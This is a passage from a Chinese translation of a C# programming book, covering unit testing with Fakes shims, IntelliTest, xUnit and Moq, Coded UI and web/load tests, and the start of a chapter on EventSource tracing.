LoadOptions的成员方法,如LoadStringLoadOptions()、LoadStreamLoadOptions() 等。 所有这些成员都是委托类型,该委托类型允许指定一个自定义方法,在测试方法时, 将用自定义方法代替原方法调用。单元测试方法TestChampionsByCountry()将 Formula1.ChampionsByCountry方法中带有一个参数的XElement.Load()方法替换为 XElement.Parse(),以访问样本数据。ShimXElement.LoadString指定了新方法的实现。 使用填充码版本时,需要使用ShimsContext.Create方法创建一个上下文。该上下文一 直处于活动状态,直到在using代码块的末尾调用Dispose()方法(代码文件 UnitTestingSamplesTests/Formula1Tests.cs): [TestMethod] public void TestChampionsByCountry() { using (ShimsContext.Create()) { ShimXElement.LoadString = s => XElement.Parse(Formula1SampleData()); Formula1 f1 = new Formula1(); XElement actual = f1.ChampionsByCountry("Finland"); Assert.AreEqual(Formula1VerificationData().ToString(), actual.ToString()) ; } } 虽然最好的方法是让要测试的代码具有灵活的实现,但在测试代码时,可以将Fakes Framework作为修改代码实现的一种有用方式,使其不依赖于外部资源。 19.2.7 IntelliTest Visual Studio 2015企业版的一个可用的新测试功能是IntelliTest,它会建立代码的白盒 分析,自动创建单元测试。IntelliTest分析代码,传递尽可能少的参数,以找到所有的迭 代。在代码编辑器中选择一个方法时,从上下文菜单中可以选择Run IntelliTest,来创建 测试,如图19-6所示。对于GetStringDemo方法,IntelliTest会创建10个测试方法,给输入 参数传递不同的字符串。可以检查这些方法,看看它们是否符合目的,如果没有验证方法 中的输入参数,也可以检查错误。 图19-6 如果测试是好的,就可以保存并把它们改编到一个单元测试项目中。这是IntelliTest 生成的一个测试。除了使用TestMethod特性和Assert类之外,也可以看到PexGeneratedBy 特性。这个特性把测试标记为由IntelliTest创建: [TestMethod] [PexGeneratedBy(typeof(StringSampleTest))] public void GetStringDemo727() { StringSample stringSample; string s; stringSample = new StringSample("\0"); s = this.GetStringDemo(stringSample, "\0", ""); Assert.AreEqual<string>(" not found in \0", s); Assert.IsNotNull((object)stringSample); }  注意: Pex是自动生成单元测试的最初Microsoft Research项目。IntelliTest来 源于Pex。在Pex中仍然可以找到http://www.pexforfun.com,在Pex的帮助下解决代码问 题。 19.3 使用xUnit进行单元测试 如前所述,单元测试框架MSTest包含在Visual Studio安装中,但它不支持.NET Core,只支持基于MSBuild的项目模板。然而,Visual Studio测试环境支持其他测试框 架。测试适配器,如NUnit、xUnit、Boost(用于C++)、Chutzpah(用于JavaScript)和 Jasmine(用于JavaScript)可通过扩展和更新来使用;这些测试适配器与Visual Studio Test Explorer集成。xUnit是一个杰出的测试框架,也由微软的.NET Core和ASP.NET Core开源 代码使用,所以xUnit是本节的重点。 19.3.1 使用xUnit和.NET Core 使用.NET Framework应用程序模板,可以创建xUnit测试,其方式与MSTest测试类 似。为此在编辑器中使用上下文菜单中的Create Unit Test命令。这与.NET Core应用程序不 同,因为这个菜单项对.NET Core应用程序不可用。此外,最好给单元测试使用DNX环 境,而不是使用测试库,因为测试库使用完整的框架。使用DNX环境时,也可以在Linux 平台上运行这些测试。下面看看具体步骤。 创建与以前相同的样本库,但使用UnitTestingSamplesCore和Visual Studio项目模板 Class Library (Package)。这个库包含之前所示的测试的类型:DeepThought和 StringSample。 对于单元测试,创建另一个.NET Core库UnitTestingSamplesCoreTests。这个项目需要 引用NuGet包System.Xml.XDocument(示例代码)、xunit(单元测试)、 xunit.runner.dnx(在DNX环境中运行单元测试)以及UnitTestingSamplesCore(应该测试的 代码)。 19.3.2 创建Fact属性 创建测试的方式非常类似于之前的方法。测试方法 TheAnswerToTheUltimateQuestionOfLifeThe-UniverseAndEverything的差异只是带注释和 Fact特性的测试方法和不同的Assert.Equal方法(代码文件UnitTestingSamplesCoreTests / DeepThoughtTests.cs): public class DeepThoughtTests { [Fact] public void TheAnswerToTheUltimateQuestionOfLifeTheUniverseAndEverythingTest() { int expected = 42; var dt = new DeepThought(); int actual = dt.TheAnswerToTheUltimateQuestionOfLifeTheUniverseAndEverything(); Assert.Equal(expected, actual); } } 现在使用的Assert类在XUnit名称空间中定义。与MSTest的Assert方法相比,这个类定 义了更多的方法,用于验证。例如,不是添加一个特性来指定预期的异常,而是使用 Assert.Throws方法,允许在一个测试方法中多次检查异常: [Fact] public void TestGetStringDemoExceptions() { var sample = new StringSample(string.Empty); Assert.Throws<ArgumentNullException>(() => sample.GetStringDemo(null, "a")); Assert.Throws<ArgumentNullException>(() => sample.GetStringDemo("a", null)); Assert.Throws<ArgumentException>(() => sample.GetStringDemo(string.Empty, "a")); } 19.3.3 创建Theory属性 xUnit为测试方法定义的Fact特性不需要参数。使用xUnit还可以调用需要参数的单元 测试方法;使用Theory特性提供数据,添加一个派生于Data的特性。这样就可以通过一个 方法定义多个单元测试了。 在下面的代码片段中,Theory特性应用于TestGetStringDemo单元测试方法。 StringSample. GetStringDemo方法定义了取决于输入数据的不同路径。如果第二个参数传 递的字符串不包含在第一个参数中,就到达第一条路径。如果第二个字符串包含在第一个 字符串的前5个字符中,就到达第二条路径。第三条路径是用else子句到达的。要到达所 有不同的路径,3个InlineData特性要应用于测试方法。每个特性都定义了4个参数,它们 以相同的顺序直接发送到单元测试方法的调用中。特性还定义了被测试方法应该返回的值 (代码文件UnitTestingSamplesCoreTests /StringSampleTests. cs): [InlineData("", "longer string", "nger", "removed nger from longer string: lo string")] [InlineData("init", "longer string", "string", "INIT")] public void TestGetStringDemo(string init, string a, string b, string expecte d) { var sample = new StringSample(init); string actual = sample.GetStringDemo(a, b); Assert.Equal(expected, actual); } 特性InlineData派生于Data特性。除了通过特性直接把值提供给测试方法之外,值也 可以来自于属性、方法或类。以下例子定义了一个静态方法,它用IEnumerable<object>对 象返回相同的值(代码文件UnitTestingSamplesCoreTests / StringSampleTests.cs): public static IEnumerable<object[]> GetStringSampleData() => new[] { new object[] { "", "a", "b", "b not found in a" }, new object[] { "", "longer string", "nger", "removed nger from longer string: lo string" }, new object[] { "init", "longer string", "string", "INIT" } }; 单元测试方法现在用MemberData特性改变了。这个特性允许使用返回 IEnumerable<object>的静态属性或方法,填写单元测试方法的参数: [Theory] [MemberData("GetStringSampleData")] public void TestGetStringDemoUsingMember(string init, string a, string b, string expected) { var sample = new StringSample(init); string actual = sample.GetStringDemo(a, b); Assert.Equal(expected, actual); } 19.3.4 用dotnet工具运行单元测试 可以直接在Visual Studio中运行xUnit单元测试,其方式类似于运行MSTest单元测试。 因为xUnit支持CLI,所以也可以在命令行上运行xUnit测试。对于这种方法,在 projects.json文件中定义测试命令(代码文件UnitTestingSamplesCoreTests / project.json): { "version": "1.0.0-*", "description": "UnitTestingSamplesCoreTests Class Library", "authors": [ "Christian" ], "tags": [ "" ], "projectUrl": "", "licenseUrl": "", "dependencies": { "NETStandard.Library": "1.0.0-*", "System.Threading.Tasks": "4.0.11-*", "System.Xml.XDocument": "4.0.11-*", "UnitTestingSamplesCore": { "target": "project" }, "xunit": "2.2.0-*", "dotnet-test-xunit: "1.0.0-*" }, "testRunner": "xunit", "frameworks": { "netstandard1.0": { "dependencies": { } } } 现在,在命令提示符上运行dotnet test时,就运行项目定义的所有测试: ">dotnet test" xUnit.net DNX Runner (64-bit win7-x64) Discovering: UnitTestingSamplesCoreTests Discovered: UnitTestingSamplesCoreTests Starting: UnitTestingSamplesCoreTests Finished: UnitTestingSamplesCoreTests === TEST EXECUTION SUMMARY === UnitTestingSamplesCoreTests Total: 11, Errors: 0, Failed: 0, Skipped: 0, Time: 0.107s C:\Users\chris\Source\Repos\ProfessionalCSharp6\Testing\UnitTestingSamples\ UnitTestingSamplesCoreTests> 19.3.5 使用Mocking库 下面是一个更复杂的例子:在第31章的MVVM应用程序中,为客户端服务创建一个 单元测试。这个服务使用依赖注入功能,注入接口IBooksRepository定义的存储库。用于 测试AddOrUpdateBookAsync方法的单元测试不应该测试该库,而只测试方法中的功能。 对于库,应执行另一个单元测试(代码文件MVVM/Services/BooksService.cs): public class BooksService: IBooksService { private ObservableCollection<Book> _books = new ObservableCollection<Book>( ); private IBooksRepository _booksRepository; public BooksService(IBooksRepository repository) { _booksRepository = repository; } public async Task LoadBooksAsync() { if (_books.Count > 0) return; IEnumerable<Book> books = await _booksRepository.GetItemsAsync(); _books.Clear(); foreach (var b in books) { _books.Add(b); } } public Book GetBook(int bookId) => _books.Where(b => b.BookId == bookId).SingleOrDefault(); public async Task<Book> AddOrUpdateBookAsync(Book book) { if (book == null) throw new ArgumentNullException(nameof(book)); Book updated = null; if (book.BookId == 0) { updated = await _booksRepository.AddAsync(book); _books.Add(updated); } else { updated = await _booksRepository.UpdateAsync(book); Book old = _books.Where(b => b.BookId == updated.BookId).Single(); int ix = _books.IndexOf(old); _books.RemoveAt(ix); _books.Insert(ix, updated); } return updated; } IEnumerable<Book> IBooksService.Books => _books; } 因为AddOrUpdateBookAsync的单元测试不应该测试用于IBooksRepository的存储库, 所以需要实现一个用于测试的存储库。为了简单起见,可以使用一个模拟库自动填充空 白。一个常用的模拟库是Moq。对于单元测试项目,添加NuGet包Moq;也添加NuGet包 xunit和xunit.runner.visualstudio。 在AddBooksAsyncTest单元测试中,实例化一个模拟对象,传递泛型参数 IBooksRepository。Mock构造函数创建接口的实现代码。因为需要从存储库中得到一些非 空结果,来创建有用的测试,所以Setup方法定义可以传递的参数,ReturnsAsync方法定义 了方法存根返回的结果。使用Mock类的Object属性访问模拟对象,并传递它,以创建 BooksService类。有了这些设置,可以调用AddOrUpdateBookAsync方法,传递一个应该添 加的book对象(代码文件MVVM/Services.Tests/Books-ServiceTest.cs): [Fact] public async Task AddBookAsyncTest() { // arrange var mock = new Mock<IBooksRepository>(); var book = new Book { BookId = 0, Title = "Test Title", Publisher = "A Publisher" }; var expectedBook = new Book { BookId = 1, Title = "Test Title", Publisher = "A Publisher" }; mock.Setup(r => r.AddAsync(book)).ReturnsAsync(expectedBook); var service = new BooksService(mock.Object); // act Book actualAdded = await service.AddOrUpdateBookAsync(book); Book actualRetrieved = service.GetBook(actualAdded.BookId); Book notExisting = service.GetBook(2); // assert Assert.Equal(expectedBook, actualAdded); Assert.Equal(expectedBook, actualRetrieved); Assert.Equal(null, notExisting); } 添加一本书时,会调用AddOrUpdateBookAsync方法的if子句。更新一本书时,会激活 else子句。方法的这部分会用UpdateBookAsyncTest方法测试。与前面一样,给接口 IBooksRepository创建一个模拟对象。更新一本书时,会测试不同的场景,如更新现存的 书和不存在的书(代码文件MVVM / Services.Tests / BooksServiceTest.cs): [Fact] public async Task UpdateBookAsyncTest() { // arrange var mock = new Mock<IBooksRepository>(); var origBook = new Book { BookId = 0, Title = "Title", Publisher = "A Publisher" }; var addedBook = new Book { BookId = 1, Title = "Title", Publisher = "A Publisher" }; var updateBook = new Book { BookId = 1, Title = "New Title", Publisher = "A Publisher" }; var notExisting = new Book { BookId = 99, Title = "Not", Publisher = "Not" }; mock.Setup(r => r.UpdateAsync(updateBook)).ReturnsAsync(updateBook); mock.Setup(r => r.UpdateAsync(notExisting)).ReturnsAsync(notExisting); mock.Setup(r => r.AddAsync(origBook)).ReturnsAsync(addedBook); var service = new BooksService(mock.Object); // fill in first book to test update await service.AddOrUpdateBookAsync(origBook); // act Book actualUpdated = await service.AddOrUpdateBookAsync(updateBook); Book actualRetrieved = service.GetBook(1); // assert Assert.Equal(updateBook, actualUpdated); Assert.Equal(updateBook, actualRetrieved); await Assert.ThrowsAsync<InvalidOperationException>(async () => await service.AddOrUpdateBookAsync(notExisting)); await Assert.ThrowsAsync<ArgumentNullException>(async () => await service.AddOrUpdateBookAsync(null)); } 当使用MVVM模式与基于XAML的应用程序,以及使用MVC模式和基于Web的应用 程序时,会降低用户界面的复杂性,减少复杂UI测试的需求。然而,仍有一些场景应该 用UI测试,例如,浏览页面、拖曳元素等。此时应使用Visual Studio的UI测试功能。 19.4 UI测试 为了测试用户界面,Visual Studio为Universal Windows应用程序、Windows Phone应 用程序、WPF应用程序和Windows Forms提供了Coded UI Test Project模板。当创建新项目 时,可以在Test组中找到用于WPF和Windows Forms的项目模板。然而,这个模板不用于 Windows应用程序。Universal Windows应用程序的项目模板在Universal组。请注意, Windows应用程序不支持自动记录功能。 本章为MVVM WPF应用程序创建一个UI测试。这个应用程序是本章可下载文件的一 部分,所以可以用它来测试。这个应用程序的详细信息参见第31章。 创建新的Coded UI Test Project时,会显示如图19-7所示的对话框。在这里可以指定创 建新的记录。 图19-7 创建新的记录时,会看到Coded UI Test Builder (参见图19-8)。对于WPF应用程 序,可以单击Recording按钮来记录操作。 图19-8 运行样例应用程序时,可以单击Load按钮来加载书籍列表,单击Add按钮来添加新 书,在文本框元素中输入一些文本,并单击Save按钮。当在Coded UI Test Builder中单击 Show Recorded Steps按钮时,会显示如图19-9所示的记录。 图19-9 当单击Generate Code按钮时,屏幕提示输入方法名,用记录生成代码(参见图19- 10)。 图19-10 使用生成的方法AddNewBook可以看到,本地变量用来引用所使用的WPF控件: public void AddNewBook() { WpfButton uILoadButton = this.UIBooksDesktopAppWindow.UIBooksViewCustom.UILoadButton; WpfButton uIAddButton = this.UIBooksDesktopAppWindow.UIBooksViewCustom.UIAddButton; WpfEdit uIItemEdit = this.UIBooksDesktopAppWindow.UIBookViewCustom.UISaveButton.UIItemEdit; WpfEdit uIItemEdit1 = this.UIBooksDesktopAppWindow.UIBookViewCustom.UISaveButton.UIItemEdit1; WpfButton uISaveButton = this.UIBooksDesktopAppWindow.UIBookViewCustom.UISaveButton; // etc. } 按钮在属性中引用,例如,如下代码片段所示的UILoadButton。在第一次访问时,使 用Name属性搜索WpfButton(代码文件BooksDesktopAppUITest / AddNewBookUIMap.Designer.cs): public WpfButton UILoadButton { get { if ((this.mUILoadButton == null)) { this.mUILoadButton = new WpfButton(this); this.mUILoadButton.SearchProperties[WpfButton.PropertyNames.Name] = "Load"; this.mUILoadButton.WindowTitles.Add("Books Desktop App"); } return this.mUILoadButton; } } AddNewBook继续从记录中创建的方法。首先,使用静态方法Mouse.Click单击鼠标。 Mouse.Click方法定义了几个重载版本:单击屏幕内的坐标(使用鼠标修改工具栏)和单 击控件。第一个单击方法单击Load按钮。第二个参数定义的坐标是控件内部的相对坐 标。所以,如果在更新的版本中重新定位这个控件,就一定要再次运行测试,而没有大的 变化,这就是为什么通过名字访问控件的原因。除了Mouse类,还可以使用Keyboard类发 送键的输入: public void AddNewBook() { // etc. // Click 'Load' button Mouse.Click(uILoadButton, new Point(20, 11)); // Click 'Add' button Mouse.Click(uIAddButton, new Point(14, 9)); // Type 'new book' in first text box next to 'Save' button uIItemEdit.Text = this.AddANewBookParams.UIItemEditText; // Type '{Tab}' in first text box next to 'Save' button Keyboard.SendKeys(uIItemEdit, this.AddANewBookParams.UIItemEditSendKeys, ModifierKeys.None); // Type 'new' in text box numbered 2 next to 'Save' button uIItemEdit1.Text = this.AddANewBookParams.UIItemEdit1Text; // Click 'Save' button Mouse.Click(uISaveButton, new Point(29, 19)); } 文本控件的输入保存在辅助类AddNewBookParams中,所以很容易在一个地方更改输 入: public class AddNewBookParams { public string UIItemEditText = "new book"; public string UIItemEditSendKeys = "{Tab}"; public string UIItemEdit1Text = "new"; } 创建记录后,需要定义断言,检查结果是否正确。可以用Coded UI Test Builder创建 断言。单击Add Assertions按钮,打开如图19-11所示的对话框。在这个对话框中,可以看 到打开窗口的控件,看到当前的属性值,并添加断言。定义断言之后,需要重新生成代 码。 图19-11 生成的Assert方法验证在选定的控件中是否有正确的值,如果控件中的值不正确,就 输出一个错误信息: public void AssertNewBook() { WpfList uIItemList = this.UIBooksDesktopAppWindow1.UIBooksViewCustom.UIAddButton.UIItemList; Assert.AreEqual( this.AssertNewBookExpectedValues.UIItemListSelectedItemsAsString, uIItemList.SelectedItemsAsString, "problem adding book in list"); } 对于更改代码,不应该改变设计器生成的代码文件。相反,应打开.uitest文件,以打 开如图19-12所示的对话框。在这里可以将动作分解为新方法,在动作之前添加延迟,删 除动作。另外,可以把设计器生成的文件中的源代码移动到自定义文件中,稍后在自定义 文件中可以更改代码。 图19-12 现在可以用运行单元测试的方式运行UI测试,如本章前面所示。 19.5 Web测试 要测试Web应用程序,可以创建单元测试,调用控制器、存储库和实用工具类的方 法。Tag辅助程序是简单的方法,在其中,测试可以由单元测试覆盖。单元测试用于测试 方法中算法的功能,换句话说,就是方法内部的逻辑。在Web应用程序中,创建性能和负 载测试也是一个很好的实践。应用程序会伸缩吗?应用程序用一个服务器可以支持多少用 户?需要多少台服务器支持特定数量的用户?不容易伸缩的瓶颈是什么?为了回答这些问 题,Web测试可以提供帮助。 在Web测试中,HTTP请求从客户机发送到服务器。Visual Studio还提供了一个记录 器,它在Internet Explorer中需要一个插件。在撰写本文时,Microsoft Edge不能用作记录 器,因为目前这个浏览器不支持插件。 19.5.1 创建Web测试 对于创建Web测试,可以用ASP.NET Core 1.0创建一个新的ASP.NET Web应用程序, 命名为WebApplicationSample。这个模板内置了足够的功能,允许创建测试。要创建Web 测试,需要给解决方案添加一个Web Performance和Load Test Project,命名为 WebAndLoadTestProject。单击WebTest1.webtest文件,打开Web Test Editor。然后单击Add Recording按钮,开始一个Web记录。对于这个记录,必须在Internet Explorer中安装Web Test Recorder插件,该插件随Visual Studio一起安装。该记录器记录发送到服务器的所有 HTTP请求。单击Web应用程序WebApplicationSample上的一些链接,例如About和Context 等,并注册一个新用户。然后单击Stop按钮,停止记录。 记录完成后,可以用Web测试编辑器编辑记录。如果没有禁用浏览器链接,就可能会 看到发送给browserLinkSignalR的请求。浏览器链接允许更改HTML代码,而无须重新启 动浏览器。对于测试,这些请求并不相关,可以删除它们。一个记录如图19-13所示。对 于所有的请求,可以看到标题信息以及可以影响和改变的表单POST数据。 图19-13 单击Generate Code按钮,生成源代码,以编程方式发送所有的请求。对于Web测试, 测试类派生自基类WebTest,重写了GetRequestEnumerator方法。该方法一个接一个地返回 请求(代码文件WebApplicationSample/ WebAndLoadTestProject/NavigateAndRegister.cs): public class NavigateAndRegister: WebTest { public NavigateAndRegister() { this.PreAuthenticate = true; this.Proxy = "default"; } public override IEnumerator<WebTestRequest> GetRequestEnumerator() { // etc. } } 方法GetRequestEnumerator定义了对网站的请求,例如对About页面的请求。对于这个 请求,添加一个HTTP标题,把该请求定义为源自于主页: public override IEnumerator<WebTestRequest> GetRequestEnumerator() { // etc. WebTestRequest request2 = new WebTestRequest("http://localhost:13815/Home/About"); request2.Headers.Add(new WebTestRequestHeader("Referer", "http://localhost:13815/")); yield return request2; request2 = null; // etc. } 下面发送一个对Register页面的HTTP POST请求,传递表单数据: WebTestRequest request6 = new WebTestRequest("http://localhost:13815/Account/Register"); request6.Method = "POST"; request6.ExpectedResponseUrl = "http://localhost:13815/"; request6.Headers.Add(new WebTestRequestHeader("Referer", "http://localhost:13815/Account/Register")); FormPostHttpBody request6Body = new FormPostHttpBody(); request6Body.FormPostParameters.Add("Email", "sample1@test.com"); request6Body.FormPostParameters.Add("Password", "Pa$$w0rd"); request6Body.FormPostParameters.Add("ConfirmPassword", "Pa$$w0rd"); request6Body.FormPostParameters.Add("__RequestVerificationToken", this.Context["$HIDDEN1.__RequestVerificationToken"].ToString()); request6.Body = request6Body; ExtractHiddenFields extractionRule2 = new ExtractHiddenFields(); extractionRule2.Required = true; extractionRule2.HtmlDecode = true; extractionRule2.ContextParameterName = "1"; request6.ExtractValues += new EventHandler<ExtractionEventArgs>(extractionRule2.Extract); yield return request6; request6 = null; 在表单中输入一些数据时,最好从数据源中提取数据,以增加灵活性。使用Web Test Editor,可以添加数据库、CSV文件或XML文件作为数据源(见图19-14)。使用此对话 框、可以改变表单参数,从数据源中提取数据。 图19-14 添加数据源就改变了测试代码。对于数据源,测试类用DeploymentItem特性(如果使 用CSV或XML文件)、DataSource和DataBinding特性注释: [DeploymentItem("webandloadtestproject\\EmailTests.csv", "webandloadtestproject")] [DataSource("EmailDataSource", "Microsoft.VisualStudio.TestTools.DataSource.CSV", "|DataDirectory|\\webandloadtestproject\\EmailTests.csv", Microsoft.VisualStudio.TestTools.WebTesting.DataBindingAccessMethod.Sequent ial, Microsoft.VisualStudio.TestTools.WebTesting.DataBindingSelectColumns.Select Only BoundColumns, "EmailTests#csv")] [DataBinding("EmailDataSource", "EmailTests#csv", "sample1@test#com", "EmailDataSource.EmailTests#csv.sample1@test#com")] public class NavigateAndRegister1: WebTest { // etc. } 现在,在代码中,可以使用WebTest的Context属性访问数据源,该属性返回一个 WebTestContext,以通过索引访问所需的数据源: request6Body.FormPostParameters.Add("Email", this.Context["EmailDataSource.EmailTests#csv.sample1@test#com"].ToString()) ; 19.5.2 运行Web测试 有了测试后,就可以启动测试了。可以直接在Web Test Editor中运行并调试测试。在 开始测试之前,记得要启动Web应用程序。在Web Test Editor中运行测试时,可以看到生 成的Web页面以及请求和响应的细节信息,如图19-15所示。 图19-15 图19-16显示了如何指定浏览器类型、模拟思考次数、多次运行测试,来影响测试的 运行。 图19-16 19.5.3 Web负载测试 使用Web负载测试,可以模拟Web应用程序的高负载。对于真正的高负载,一个测试 服务器是不够的;可以使用一组测试服务器。在Visual Studio 2015中,可以直接使用 Microsoft Azure基础设施,选择基于云的负载测试,如图19-17所示。 图19-17 在WebAndLoadTestProject项目中添加一个新项Web Load Test,可以创建一个负载测 试。这会启动一个向导,在其中可以执行以下操作: ● 定义一个恒定负载或随时间增加的负载(参见图19-18)。 图19-18 ● 基于测试的数量或虚拟用户的数量,建立测试混合模型。 ● 把测试添加到负载中,定义相比其他测试,哪些测试应该运行的百分比。 ● 指定一个网络混合,模拟快速和慢速网络(如果服务器网速高的客户占领,网速慢 的用户会得到什么结果?)。 ● 用Internet Explorer、Chrome、Firefox和其他浏览器,确定要测试的混合浏览器。 ● 建立运行设置,在运行测试时使用。 19.6 小结 本章介绍了对测试应用程序最重要的方面:创建单元测试、编码的用户界面测试和 Web测试。 Visual Studio提供了Test Explorer来运行单元测试,而无论它们是用MSTest还是xUnit 创建的。xUnit的优势是支持.NET Core。本章还介绍了3A动作:安排(Arrange)、行动 (Act)和断言(Assert)。 在编码的UI测试中,学习了如何创建记录,改编记录,根据需要修改所需的UI测试 代码。 在Web应用程序中,了解了如何创建Web测试,把请求发送到服务器。还讨论了如何 更改请求。 测试有助于在部署应用程序之前解决问题,而第20章帮助解决正在运行的应用程序的 问题。 第20章 诊断和Application Insights 本章要点 ● 用EventSource进行简单的跟踪 ● 用EventSource进行高级跟踪 ● 创建自定义跟踪侦听器 ● 使用Application Insights 本章源代码下载地址(wrox.com): 打开网页http://www.wrox.com/go/prosharp,单击Download Code选项卡即可下载本章 源代码。本章代码分为以下几个主要的示例文件: ● SimpleEventSourceSample ● EventSourceSampleInheritance ● EventSourceSampleAnnotations ● ClientApp/MyApplicationEvents ● WinAppInsights 20.1 诊断概述 应用程序的发布周期变得越来越短,了解应用程序在生产环境中运行时的行为越来越 重要。会发生什么异常?知道使用了什么功能也是要关注的。用户找到应用程序的新功能 了吗?他们在页面上停留多长时间?为了回答这些问题,需要应用程序的实时信息。 本章介绍如何获得关于正在运行的应用程序的实时信息,找出应用程序在生产过程中 出现某些问题的原因,或者监视需要的资源,以确保适应较高的用户负载。这就是名称空 间System.Diagnostics.Tracing的作用。这个名称空间提供了使用Event Tracing for Windows (ETW)进行跟踪的类。 当然,在应用程序中标记错误的一种方式是抛出异常。然而,有可能应用程序不抛出 异常,但仍不像期望的那样运行。应用程序可能在大多数系统上都运行良好,只在几个系 统上出问题。在实时系统上,可以启动跟踪收集器,改变日志行为,获得应用程序运行状 况的详细实时信息。这可以用ETW功能来实现。 如果应用程序出了问题,就需要通知系统管理员。事件查看器是一个常用的工具,并 不是只有系统管理员才需要使用它,软件开发人员也需要它。使用事件查看器可以交互地 监视应用程序的问题,通过添加订阅功能来了解发生的特定事件。ETW允许写入应用程 序的相关信息。 Application Insights是一个Microsoft Azure云服务,可以监视云中的应用程序。只需要 几行代码,就可以得到如何使用应用程序或服务的详细信息。 本章解释了这些功能,演示了如何为应用程序使用它们。  注意: System.Diagnostics名称空间还提供了其他用于跟踪的类,例如Trace和 TraceSource。这些类在.NET之前的版本中使用。本章只介绍最新的跟踪技术: EventSource。 20.2 使用EventSource跟踪 利用跟踪功能可以从正在运行的应用程序中查看消息。为了获得关于正在运行的应用 程序的信息,可以在调试器中启动应用程序。在调试过程中,可以单步执行应用程序,在 特定的代码行上设置断点,并在满足某些条件时设置断点。调试的问题是包含发布代码的 程序与包含调试代码的程序以不同的方式运行。例如,程序在断点处停止运行时,应用程 序的其他线程也会挂起。另外,在发布版本中,编译器生成的输出进行了优化,因此会产 生不同的效果。在经过优化的发布代码中,垃圾回收要比在调试代码中更加积极。方法内 的调用次序可能发生变化,甚至一些方法会被彻底删除,改为就地调用。此时也需要从程 序的发布版本中获得运行时信息。跟踪消息要写入调试代码和发布代码中。 下面的场景描述了跟踪功能的作用。在部署应用程序后,它运行在一个系统中时没有 问题,而在另一个系统上很快出现了问题。在出问题的系统上打开详细的跟踪功能,就会 获得应用程序中所出现问题的详细信息。在运行没有问题的系统上,将跟踪功能配置为把 错误消息重定向到Windows事件日志系统中。系统管理员会查看重要的错误,跟踪功能的 系统开销非常小,因为仅在需要时配置跟踪级别。 .NET中的跟踪有相当长的历史了。.NET的第一个版本只有简单的跟踪功能和Trace 类,而.NET 2.0对跟踪进行了巨大的改进,引入了TraceSource类。TraceSource背后的架构 非常灵活,分离出了源代码、侦听器和一个开关,根据一组跟踪级别来打开和关闭跟踪功 能。 从.NET 4.5开始,又引入了一个新的跟踪类EventSource,并在.NET 4.6中增强。这个 类在NuGet包System.Diagnostics的System.Diagnostics.Tracing名称空间中定义。 新的跟踪架构基于Windows Vista中引入的Event Tracing for Windows(ETW)。它允 许在系统范围内快速传递消息,Windows事件日志记录和性能监视功能也使用它。 下面看看ETW跟踪和EventSource类的概念。 ● ETW提供程序是一个触发ETW事件的库。本章创建的应用程序是ETW提供程序。 ● ETW清单描述了可以在ETW提供程序中触发的事件。使用预定义清单的优点是, 只要安装了应用程序,系统管理员就已经知道应用程序可以触发的事件了。这 样,管理员就可以配置特定事件的侦听。新版本的EventSource支持自描述的事件 和清单描述的事件。 ● ETW关键字可以用来创建事件的类别。它们定义为位标志。 ● ETW任务是分组事件的另一种方式。任务可以基于程序的不同场景来创建,以定 义事件。任务通常和操作码一起使用。 ● ETW操作码识别任务中的操作。任务和操作码都用整型值定义。 ● 事件源是触发事件的类。可以直接使用EventSource类,或创建一个派生自基类 EventSource的类。 ● 事件方法是事件源中触发事件的方法。派生自EventSource类的每个void方法,如果 没有用NonEvent特性加以标注,就是一个事件方法。事件方法可以使用Event特性 来标注。 ● 事件级别定义了事件的严重性或冗长性。这可以用于区别关键、错误、警告、信息 和详细级事件。 ● ETW通道是事件的接收器。事件可以写入通道和日志文件。Admin、Operational、 Analytic和Debug是预定义的通道。 使用EventSource类时,要运用ETW概念。 20.2.1 EventSource的简单用法 使用EventSource类的示例代码利用如下依赖项和名称空间: 依赖项 NETStandard.Library System.Net.Http 名称空间 System System.Collections.Generic System.Diagnostics.Tracing System.IO System.Net.Http System.Threading.Tasks static System.Console 在.NET 4.6和.NET Core 1.0版本中,扩展并简化了类EventSource,允许实例化和使用 它,而不需要派生一个类。这样,在小场景中使用它就更简单了。 使用EventSource的第一个例子显示了一个简单的案例。在Console Application (Package)项目中,将EventSource实例化为Program类的一个静态成员。在构造函数中, 指定了事件源的名称(代码文件SimpleEventSourceSample /Program. cs): private static EventSource sampleEventSource = new EventSource("Wrox-EventSourceSample1"); 在Program类的Main方法中,事件源的唯一标识符使用Guid属性检索。这个标识符基 于事件源的名称创建。之后,编写第一个事件,调用EventSource的Write方法。所需的参 数是需要传递的事件名。其他参数可通过对象的重载使用。第二个传递的参数是定义Info 属性的匿名对象。它可以把关于事件的任何信息传递给事件日志: static void Main() { WriteLine($"Log Guid: {sampleEventSource.Guid }"); WriteLine($"Name: {sampleEventSource.Name }"); sampleEventSource.Write("Startup", new { Info = "started app" }); NetworkRequestSample().Wait(); ReadLine(); sampleEventSource&#x0003F? .Dispose(); }  注意: 不是把带有自定义数据的匿名对象传递给Write方法,而是可以创建 一个类,它派生自基类EventSource,用EventData特性标记它。这个特性在本章后面介 绍。 在Main()方法中调用的NetworkRequestSample()方法发出一个网络请求,写入一 个跟踪日志,把请求的URL发送到跟踪信息中。完成网络调用后,再次写入跟踪信息。异 常处理代码显示了写入跟踪信息的另一个方法重载。不同的重载版本允许传递下一节介绍 的特定信息。下面的代码片段显示了设置跟踪级别的EventSourceOptions。写入错误信息 时设定Error事件级别。这个级别可以用来过滤特定的跟踪信息。在过滤时,可以决定是 只读取错误信息(例如,错误级别信息和比错误级别更重要的信息)。在另一个跟踪会话 期间,可以决定使用详细级别读取所有的跟踪信息。EventLevel枚举定义的值有 LogAlways、Critical、Error、Warning、Informational和Verbose: private static async Task NetworkRequestSample() { try { using (var client = new HttpClient()) { string url = "http://www.cninnovation.com"; sampleEventSource.Write("Network", new { Info = $"requesting {url}" }); string result = await client.GetStringAsync(url); sampleEventSource.Write("Network", new { Info = $"completed call to {url}, result string length: {result.Length}" }); } WriteLine("Complete................."); } catch (Exception ex) { sampleEventSource.Write("Network Error", new EventSourceOptions { Level = EventLevel.Error }, new { Message = ex.Message, Result = ex.HResult }); WriteLine(ex.Message); } } 在运行应用程序之前,需要进行一些配置,使用工具读取跟踪信息。下一节将解释如 何这样做。  注意: EventSource的简单用法只能在.NET 4.6、.NET Core 1.0和更高版本中 使用。使用.NET早期版本创建的程序,需要创建一个派生自EventSource的类,参见下 面的章节。另外,要使用更简单的选项,可以使用NuGet包 Microsoft.Diagnostics.Tracing. EventSource,它可用于.NET的旧版本。 20.2.2 跟踪工具 为了分析跟踪信息,可以使用几种工具。logman工具是Windows的一部分。使用 